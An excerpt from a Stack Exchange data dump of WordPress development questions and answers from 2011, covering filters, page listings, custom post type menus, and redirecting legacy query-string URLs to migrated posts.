  <row Id="12819" PostTypeId="2" ParentId="12816" CreationDate="2011-03-23T13:12:17.300" Score="1" ViewCount="" Body="&lt;p&gt;If you've already got a solution that works using FeedPress you might as well stay with that, there isn't a particularly clean way of aggregating multisite posts into a single blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One alternative is to use the &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-sitewide-tags/&quot; rel=&quot;nofollow&quot;&gt;Sitewide Tags plugin&lt;/a&gt;, but given what you want to do, you should probably stay with what's working.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-03-23T13:12:17.300" CommentCount="3" />
  <row Id="12820" PostTypeId="2" ParentId="12805" CreationDate="2011-03-23T13:12:45.957" Score="3" ViewCount="" Body="&lt;p&gt;If you want to able to use the WordPress functions the your ajax call should be to the wp-admin/admin-ajax.php and you should use &lt;code&gt;wp_ajax&lt;/code&gt; hook,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;take a look at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9231/whats-the-preferred-method-of-writing-ajax-enabled-plugins/9236#9236&quot;&gt;What's the preferred method of writing AJAX-enabled plugins?&lt;/a&gt; I posted a nice example of how to do that there.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-23T13:12:45.957" />
  <row Id="12821" PostTypeId="1" AcceptedAnswerId="12826" CreationDate="2011-03-23T13:13:40.000" Score="0" ViewCount="425" Body="&lt;p&gt;How would one move the sharedaddy buttons included in Jetpack to be placed before a post's or page's content, rather than after it? I see that in &lt;code&gt;sharing-service.php&lt;/code&gt; the function that prints the buttons is hooked to the_content filter hook: &lt;code&gt;add_filter( 'the_content', 'sharing_display', 19 );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what to place in my functions.php file to override that, though. I'm assuming I somehow need to cause the output from &lt;code&gt;sharing-service.php&lt;/code&gt; to be prepended to &lt;code&gt;the_content&lt;/code&gt; rather than appended to it.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-08-20T16:53:05.380" Title="Moving sharedaddy buttons (in Jetpack) to the top of a post?" Tags="&lt;filters&gt;&lt;jetpack&gt;" AnswerCount="3" />
  <row Id="12822" PostTypeId="2" ParentId="12808" CreationDate="2011-03-23T13:23:22.383" Score="1" ViewCount="" Body="&lt;p&gt;When you use &lt;code&gt;include&lt;/code&gt; parameter of wp_list_pages you are basically telling it to only include these certain Pages in the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you should use &lt;code&gt;exclude_tree&lt;/code&gt; instead, when using this parameter it will exclude a parent and all of that parent's child Pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so something like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$top_pages_to_exclude = '1'; // the top page to be excluded ID, you can specify more then one '1,2,23'&#xA;&#xA;$args = array(&#xA;    'sort_column' =&amp;gt; 'menu_order',&#xA;    'depth' =&amp;gt; 2,&#xA;    'title_li' =&amp;gt; '',&#xA;    'exclude_tree' =&amp;gt; $top_pages_to_exclude&#xA;);&#xA;wp_list_pages( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-23T13:23:22.383" CommentCount="1" />
  <row Id="12823" PostTypeId="1" AcceptedAnswerId="12829" CreationDate="2011-03-23T13:29:41.367" Score="0" ViewCount="88" Body="&lt;p&gt;As the title says, I have not found any function to add an option page to a particular custom post type. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to keep the option page related to a custom post type grouped together in its own panel, instead of adding it to the &quot;Setting&quot; panel, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="2618" LastActivityDate="2011-03-23T13:59:07.217" Title="How to add an option page to custom post type?" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="12824" PostTypeId="1" AcceptedAnswerId="12837" CreationDate="2011-03-23T13:34:05.333" Score="1" ViewCount="298" Body="&lt;p&gt;I'm working on a migration from another CMS to WordPress. The old site had terrible SEO-unfriendly URLs in the format &lt;code&gt;http://example.com?lid=1234&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have imported all the posts from the old site into WordPress and are storing the &lt;code&gt;lid&lt;/code&gt; as a custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We would love the old URLs to still work if possible, but as there are about 3,000 posts using .htaccess is out of the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: how would I create a rewrite rule that extracts the &lt;code&gt;lid&lt;/code&gt; value from the URL and redirects to the post that contains it in the custom field? (the &lt;code&gt;lid&lt;/code&gt; value is unique, so there are no worries about more than one post with the same custom field value)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&#xA;Simon&lt;/p&gt;&#xA;" OwnerUserId="2877" LastActivityDate="2011-03-23T16:12:00.130" Title="URL rewrite based on a custom field value" Tags="&lt;permalinks&gt;&lt;url-rewriting&gt;&lt;redirect&gt;&lt;migration&gt;" AnswerCount="2" FavoriteCount="3" />
  <row Id="12825" PostTypeId="2" ParentId="12806" CreationDate="2011-03-23T13:34:50.473" Score="2" ViewCount="" Body="&lt;p&gt;Indeed, the &quot;Insert video&quot; action does not do much beyond creating a link. WordPress does not contain a generic player that can play any video hosted anywhere on the internet, but it does support something better: &lt;a href=&quot;http://codex.wordpress.org/Embeds&quot; rel=&quot;nofollow&quot;&gt;embedding via oEmbed&lt;/a&gt;. This means you can put the URL of the video page in your content, and it will replace it with the proper embed code - if the video site supports oEmbed (most popular sites do), and if WordPress is configured to allow embed from this site (but you can enable oEmbed autodiscovery or use a plugin like &lt;a href=&quot;http://wordpress.org/extend/plugins/embedly/&quot; rel=&quot;nofollow&quot;&gt;Embedly&lt;/a&gt; to add more sites).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The support in the editor could be better, but this is probably the most future-proof way to embed videos in your posts.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-03-23T13:34:50.473" />
  <row Id="12826" PostTypeId="2" ParentId="12821" CreationDate="2011-03-23T13:43:01.297" Score="2" ViewCount="" Body="&lt;p&gt;Basically it line 480 in sharing-service.php&#xA;where it says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return $text.$sharing_content;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it should be &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return $sharing_content.$text;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now changing that file won't keep your changes on updates so you can copy that function (sharing_display) to your functions.php and rename it to something different say &lt;code&gt;my_sharing_display&lt;/code&gt; and make the change there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next you need to remove the filters that plugin adds and replace with your own so in your functions.php add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//remove old&#xA;remove_filter( 'the_content', 'sharing_display');&#xA;remove_filter( 'the_excerpt', 'sharing_display');&#xA;//add new&#xA;add_filter( 'the_content', 'my_sharing_display', 19 );&#xA;add_filter( 'the_excerpt', 'my_sharing_display', 19 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;the remove_filter hook is not actually removing because it's missing the priority parameter , from the codex:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Important: To remove a hook, the $function_to_remove and $priority  arguments must match when the hook was added. This goes for both filters and actions. No warning will be given on removal failure.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;so change :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter( 'the_content', 'sharing_display');&#xA;remove_filter( 'the_excerpt', 'sharing_display');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter( 'the_content', 'sharing_display',19);&#xA;remove_filter( 'the_excerpt', 'sharing_display',19);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-23T14:36:22.770" LastActivityDate="2011-03-23T14:36:22.770" CommentCount="3" />
  <row Id="12827" PostTypeId="2" ParentId="12784" CreationDate="2011-03-23T13:53:56.690" Score="3" ViewCount="" Body="&lt;p&gt;If you look in &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/nav-menu-template.php#L111&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;wp_nav_menu()&lt;/code&gt; function&lt;/a&gt;, you see the items are written by &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/nav-menu-template.php#L462&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;walk_nav_menu_tree()&lt;/code&gt;&lt;/a&gt;, which calls &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/nav-menu-template.php#L10&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Walker_Nav_Menu&lt;/code&gt;&lt;/a&gt; to do the work (unless you specified your own walker class). This class contains a method &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/nav-menu-template.php#L57&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;start_el()&lt;/code&gt;&lt;/a&gt; that is called for each menu item. In this function, you see that the classes are filtered through &lt;code&gt;nav_menu_css_class&lt;/code&gt; and the id is filtered through &lt;code&gt;nav_menu_item_id&lt;/code&gt;. So if you attach your own code to these hooks, you can change them to anything you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Submenus &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/nav-menu-template.php#L33&quot; rel=&quot;nofollow&quot;&gt;are always wrapped with &lt;code&gt;&amp;lt;ul class=&quot;sub-menu&quot;&amp;gt;&lt;/code&gt;&lt;/a&gt;, the main wrapper &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/nav-menu-template.php#L206&quot; rel=&quot;nofollow&quot;&gt;can be changed via the &lt;code&gt;menu_id&lt;/code&gt; and &lt;code&gt;menu_class&lt;/code&gt; arguments&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-03-23T13:53:56.690" CommentCount="1" />
  <row Id="12829" PostTypeId="2" ParentId="12823" CreationDate="2011-03-23T13:59:07.217" Score="0" ViewCount="" Body="&lt;p&gt;use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_submenu_page&quot; rel=&quot;nofollow&quot;&gt;add_submenu_page()&lt;/a&gt; and as the pass &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_submenu_page('edit.php?post_type=YOUR_POST_TYPE_NAME',....);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-23T13:59:07.217" CommentCount="1" />
  <row Id="12830" PostTypeId="2" ParentId="12797" CreationDate="2011-03-23T14:02:36.727" Score="0" ViewCount="" Body="&lt;p&gt;Why don't you try to use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;query_posts&lt;/a&gt; instead? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'orderby' =&amp;gt; 'rand',&#xA;    'order'    =&amp;gt; 'ASC'&#xA;);&#xA;query_posts( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3991" LastActivityDate="2011-03-23T14:02:36.727" CommentCount="1" />
  <row Id="12832" PostTypeId="2" ParentId="12807" CreationDate="2011-03-23T14:20:18.507" Score="2" ViewCount="" Body="&lt;p&gt;The easiest way would be to look at the code of &lt;a href=&quot;http://wordpress.org/extend/plugins/si-contact-form/&quot; rel=&quot;nofollow&quot;&gt;Si Contact Form&lt;/a&gt; (since it already does what you want) and use the same kind of system.  Shortly, you'll need methods to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create an XML (or other format) document of your theme options.&lt;/li&gt;&#xA;&lt;li&gt;Save/Export the XML document.&lt;/li&gt;&#xA;&lt;li&gt;Import the XML document (There's no point in exporting if you can't import it again).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you want to use Si Contact Form as an example, the backup routines are in:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://plugins.svn.wordpress.org/si-contact-form/trunk/si-contact-form-backup.php&quot; rel=&quot;nofollow&quot;&gt;http://plugins.svn.wordpress.org/si-contact-form/trunk/si-contact-form-backup.php&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Basically, it just outputs a serialized version of your options in a file.  You can then upload the file to your admin page, parse the serialized string of options, and restore whatever you need from a backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The backup scripts for Si Contact Form are in the &lt;code&gt;si_contact_form_backup_restore()&lt;/code&gt; function of this file: &lt;a href=&quot;http://plugins.svn.wordpress.org/si-contact-form/trunk/si-contact-form.php&quot; rel=&quot;nofollow&quot;&gt;http://plugins.svn.wordpress.org/si-contact-form/trunk/si-contact-form.php&lt;/a&gt; (Most of the way down the page).  It just reads the file, parses the options, and sets them in the database as needed.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-03-23T14:20:18.507" />
  <row Id="12833" PostTypeId="2" ParentId="12814" CreationDate="2011-03-23T15:00:54.973" Score="0" ViewCount="" Body="&lt;p&gt;try something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$postedtime = get_post_meta($post-&amp;gt;ID, 'startDate');&#xA;&#xA;if($postedtime != null){&#xA;$orderby = $postedtime;&#xA;&#xA;}else{&#xA;$orderby = 'date';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2011-03-23T15:00:54.973" CommentCount="2" />
  <row Id="12834" PostTypeId="1" AcceptedAnswerId="13279" CreationDate="2011-03-23T15:15:18.290" Score="0" ViewCount="177" Body="&lt;p&gt;I'm having an issue with a third party plugin called WP-Calendar, where clicking on the &quot;next&quot; and &quot;prev&quot; links in a small calendar results in a redirect error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This problem only appears to be happening on archive pages, as I have the calendar on the front page of a few MU pages and it does not have the same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clicking the links basically adds the following to the URL:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;?month=may&amp;amp;yr=2011&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which changes depending on the current month viewed. This leads me to believe that there's something up with the archive / category page accepting parameters through $_GET. To test this theory I tried ?a=b at the end, and I still got the same redirect error (The page isn't redirecting properly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know why the archive pages won't accept inputs through the URL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Some additional information that I should've mentioned, I've tested all of the plugins and the problem still exists after disabling them. The theme being used is a style modified version of this: &lt;a href=&quot;http://www.woothemes.com/2008/02/gazette/&quot; rel=&quot;nofollow&quot;&gt;http://www.woothemes.com/2008/02/gazette/&lt;/a&gt;. Also the permalink settings are custom to: /%category%/%postname% and category base is . to get an URL such as myurl.com/category to work for a category landing page.&lt;/p&gt;&#xA;" OwnerUserId="1769" LastEditorUserId="1769" LastEditorDisplayName="" LastEditDate="2011-03-23T23:37:29.983" LastActivityDate="2011-03-28T12:26:55.663" Title="Redirect Problems with Archive Page and GET variables" Tags="&lt;categories&gt;&lt;url-rewriting&gt;&lt;redirect&gt;&lt;archive&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="12835" PostTypeId="2" ParentId="12594" CreationDate="2011-03-23T15:18:23.557" Score="0" ViewCount="" Body="&lt;p&gt;The sequence field would determine where the promo post appears (position 2, 6, 8)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I'd do it (and actually have done it) that way and would do it like that again. No other, more elegant way that comes to my mind.&lt;/p&gt;&#xA;" OwnerUserId="2637" LastActivityDate="2011-03-23T15:18:23.557" />
  <row Id="12837" PostTypeId="2" ParentId="12824" CreationDate="2011-03-23T15:24:14.057" Score="6" ViewCount="" Body="&lt;p&gt;here is an idea, first add &lt;code&gt;lid&lt;/code&gt; to query_vars:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('query_vars', 'lid_query_vars');&#xA;function lid_query_vars($vars) {&#xA;    // add lid to the valid list of variables&#xA;    $new_vars = array('lid');&#xA;    $vars = $new_vars + $vars;&#xA;    return $vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then use &lt;code&gt;parse_request&lt;/code&gt; hook to create your redirect&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('parse_request', 'lid_parse_request');&#xA;function lid_parse_request($wp) {&#xA;    // only process requests with &quot;lid&quot;&#xA;    if (array_key_exists('lid', $wp-&amp;gt;query_vars) &amp;amp;&amp;amp; $wp-&amp;gt;query_vars['lid'] != '') {&#xA;        $args = array('meta_key' =&amp;gt; 'lid', 'meta_value' =&amp;gt; $wp-&amp;gt;query_vars['lid']);&#xA;        $redirect_to_post = get_posts($args);&#xA;        foreach($redirect_to_post as $p){&#xA;            $link = get_permalink($p-&amp;gt;ID);&#xA;            wp_redirect( $link , 301 ); &#xA;            exit;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-23T15:24:14.057" CommentCount="2" />
  <row Id="12838" PostTypeId="2" ParentId="12824" CreationDate="2011-03-23T16:12:00.130" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Simon Blackbourn:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I was writing my answer but before I could post it @Bainternet jumped in with a great answer too. He took a slightly different approach but his works equally as well as mine. Still, since I'd already written mine when I saw his I'll submit mine as an alternate for you to consider.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Uses Direct SQL: &lt;code&gt;$post_id = $wpdb-&amp;gt;get_var($sql)&lt;/code&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;My solution uses direct SQL which is often not the best approach but I feel it is fair here because of this SQL's simplicity &lt;em&gt;(and is thus unlikely to break in the future)&lt;/em&gt; and because for your needs there is no benefit to using the comparatively heavy &lt;code&gt;get_posts()&lt;/code&gt; with all its need to process hooks since your needs are one-off for your specific site.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Uses Direct URL Parameters: &lt;code&gt;$_GET['lid']&lt;/code&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Additionally I chose to use direct access to &lt;code&gt;$_GET['lid']&lt;/code&gt; instead of first creating a &lt;code&gt;query_var&lt;/code&gt; because query vars are part of the standard WordPress query architecture that is use by the underlying URL rewrite system, and for your use-case you are explicitly not leveraging the WordPress query architecture. Instead you need to capture an actual query parameter passed on the URL so I think there isn't really a need for the overhead of adding a query var &lt;em&gt;(although truth be told using a query var doesn't hurt, and it works fine too.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Uses the &lt;code&gt;'parse_request'&lt;/code&gt; Hook&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Lastly I did like @Bainternet use of &lt;code&gt;'parse_request'&lt;/code&gt; hook; it runs before WordPress' default MySQL query, so you don't have to run a MySQL query you will just throw away yet it runs after the &lt;code&gt;'init'&lt;/code&gt; hook which means (most) hooks that allow plugins to modify permalinks will have been added thus giving you the correct URLs for your redirects.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Place in &lt;code&gt;functions.php&lt;/code&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You can place the following code into your theme's &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('parse_request','oldsite_redirect',0);  // 0=before (most) 'parse_request' calls&#xA;function oldsite_redirect() {&#xA;  if (isset($_GET['lid'])) {&#xA;    global $wpdb;&#xA;    $sql = &quot;SELECT post_id FROM {$wpdb-&amp;gt;postmeta} &quot; . &#xA;           &quot;WHERE meta_key='lid' AND meta_value='%s'&quot;;&#xA;    $sql = $wpdb-&amp;gt;prepare($sql,$_GET['lid']);&#xA;    $post_id = $wpdb-&amp;gt;get_var($sql);&#xA;    if ($post_id) {&#xA;      $permalink = get_permalink($post_id);&#xA;      if ($permalink) {&#xA;        wp_safe_redirect($permalink,301);&#xA;        exit;&#xA;      }&#xA;    }&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, either solution will work; @Bainternet's or mine; your choice which to use.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-03-23T16:12:00.130" CommentCount="2" />
  <row Id="12839" PostTypeId="2" ParentId="12808" CreationDate="2011-03-23T16:31:08.540" Score="0" ViewCount="" Body="&lt;p&gt;Thanks to &lt;code&gt;@Bainternet&lt;/code&gt; for pointing me to the &lt;code&gt;exclude_tree&lt;/code&gt;, although I ended up using a bit different code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was important to be able to add top-level pages that don't have to appear in the menu (for example for &lt;a href=&quot;http://wordpress.org/extend/plugins/improved-include-page&quot; rel=&quot;nofollow&quot;&gt;Improved Include Page Plugin&lt;/a&gt;. Using the &lt;code&gt;exclude_tree&lt;/code&gt; I would need to update the code every time a new top-level page is added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, I have an array of all top-level pages that need to appear in the menu. I then collect all their desendant pages and use &lt;code&gt;wp_list_pages&lt;/code&gt; to display only secelted pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php //main nav: use wp_list_pages to display cirtain parents pages and all thier descendant pages&#xA;$parents = array(2,3);&#xA;$children = array();&#xA;foreach($parents as $parent) {&#xA;    $child_pages = get_pages( &quot;child_of=$parent&quot; );&#xA;    if($child_pages){&#xA;        foreach($child_pages as $child_page){&#xA;            $children[] = $child_page-&amp;gt;ID;&#xA;        }&#xA;    }&#xA;}&#xA;//merge $parents and $children&#xA;$menu_pages = array_merge((array)$parents, (array)$children);&#xA;$menu_pages_str = implode(&quot;,&quot;, $menu_pages); &#xA;?&amp;gt;&#xA;&#xA;&amp;lt;ul id=&quot;main-nav&quot;&amp;gt;&#xA;    &amp;lt;?php wp_list_pages( &quot;sort_column=menu_order&amp;amp;title_li=&amp;amp;include=$menu_pages_str&quot; ); ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, have a look at the Codex &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_list_pages#List_parent_Page_and_all_descendant_Pages&quot; rel=&quot;nofollow&quot;&gt;List parent Page and all descendant Pages&lt;/a&gt; for more examples.&lt;/p&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2011-03-23T16:31:08.540" />
  <row Id="12840" PostTypeId="2" ParentId="12764" CreationDate="2011-03-23T17:04:42.063" Score="0" ViewCount="" Body="&lt;p&gt;Further troubleshooting leads me to believe this was somehow related to the theme I was using. After disabling it and enabling a different one I received the proper 404 headers while using a caching plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still don't know &lt;em&gt;what&lt;/em&gt; in the theme would be causing this, but at least there's a workaround. &lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2011-03-23T17:04:42.063" CommentCount="2" />
  <row Id="12841" PostTypeId="2" ParentId="324" CreationDate="2011-03-23T17:11:44.447" Score="0" ViewCount="" Body="&lt;p&gt;Not many have listed the things they use on the customer end of things so I thought I'd share my list:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://zendesk.com&quot; rel=&quot;nofollow&quot;&gt;Zendesk&lt;/a&gt; for customer support and forums&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://unfuddle.com&quot; rel=&quot;nofollow&quot;&gt;Unfuddle&lt;/a&gt; for source control and bug tracking&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://postmarkapp.com&quot; rel=&quot;nofollow&quot;&gt;Postmark&lt;/a&gt; for reliable sending and tracking of e-mails to customers&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://maximind.com&quot; rel=&quot;nofollow&quot;&gt;Maxmind&lt;/a&gt; for fraud checking and automatic phone confirmation on developer edition&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.odesk.com&quot; rel=&quot;nofollow&quot;&gt;oDesk&lt;/a&gt; for when I get behind fixing bugs&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://mailchimp.com&quot; rel=&quot;nofollow&quot;&gt;Mailchimp&lt;/a&gt; for e-mail marketing to customers&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ramshyam.com/&quot; rel=&quot;nofollow&quot;&gt;RamShyam&lt;/a&gt; - First level of tech support&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I also use &lt;a href=&quot;http://pipes.yahoo.com/pipes/pipe.info?_id=60a76855bb956f8c86f66117bc808c6d&quot; rel=&quot;nofollow&quot;&gt;this Yahoo pipe I made&lt;/a&gt; to monitor WordPress security issues and releases and I like to use &lt;a href=&quot;http://ideone.com/&quot; rel=&quot;nofollow&quot;&gt;Ideone&lt;/a&gt; for quick testing of code snippets. &lt;/p&gt;&#xA;" OwnerUserId="3973" LastActivityDate="2011-03-23T17:11:44.447" CommunityOwnedDate="2011-03-23T17:11:44.447" />
  <row Id="12842" PostTypeId="2" ParentId="12772" CreationDate="2011-03-23T17:45:18.647" Score="1" ViewCount="" Body="&lt;p&gt;Ended up using jQuery to solve this. The form moves around using javascript anyways so it doesn't break anything for users with js turned off. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//when reply button is clicked hide it&#xA;$(&quot;.comment-reply-link&quot;).click( function() {&#xA;    $(this).hide();&#xA;});&#xA;&#xA;    //when cancel button is clicked reshow reply button&#xA;$(&quot;#cancel-comment-reply-link&quot;).click( function() {&#xA;    $(&quot;.comment-reply-link&quot;).show();&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4013" LastActivityDate="2011-03-23T17:45:18.647" />
  <row Id="12843" PostTypeId="1" CreationDate="2011-03-23T17:45:49.253" Score="1" ViewCount="319" Body="&lt;p&gt;I have been reading dozens of posts and honestly, I have many doubts on how this work. Furthermore, I think that with WP3.1 more issues have been added here because I am having even more problems now than before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point is that I am using the same slug for different kind of taxonomies and posts. Let's use loans as the slug for my problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until now, I had the page /loans/ and also the category /loans/ and subs /loans/fixed-rate/ and /loans/variable-rate/. In /loans/ I displayed the page where I had a custom template showing different things and in /loans/subcategories/ I had archives for the posts in that given category. Furthermore, my posts had the strucutre /%postname%/.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, in WP3.1, in /loans/, I see the archive of all the posts in /loans/ and its children and I have been forced to create a category template &quot;copying&quot; what I had in the page before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want now, taking advantage of WP3.1 features, to create a custom post called also /loans/ so I can define a new template for these posts. I also want to create a new taxonomy called /loans/ (instead of the category) being non-hierarchical so I can have dozens of subcategories /loans/loans-bank-X/, loans/loans-X-rate/, /loans/loans-X-years/ :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/loans/ -&gt; Page with a custom template&lt;/li&gt;&#xA;&lt;li&gt;/loans/fixed-rate/, /loans/bank-of-america/, /loans/30-years/ -&gt; Taxonomy&lt;/li&gt;&#xA;&lt;li&gt;/loans/30-years-fixed-rate-loan-of-bank-of-america-review/ -&gt; Custom Post with a review of the product&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;¿Is there a way of doing this correctly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had read before thag pages had priority over categories but not now in 3.1. I believe it would also be nice if someone write down the current priority of these slugs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be solved using different slugs for the taxonomies, etc but from a SEO and UX point of view it is much better to do it with the same slug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot and regards.&lt;/p&gt;&#xA;" OwnerUserId="3712" LastActivityDate="2011-03-23T20:24:42.477" Title="Priority for Categories, Tags, Taxonomies, Posts, Pages and Custom Posts with same url" Tags="&lt;custom-post-types&gt;&lt;taxonomy&gt;&lt;pages&gt;&lt;slug&gt;&lt;rewrite-rules&gt;" AnswerCount="1" FavoriteCount="3" />
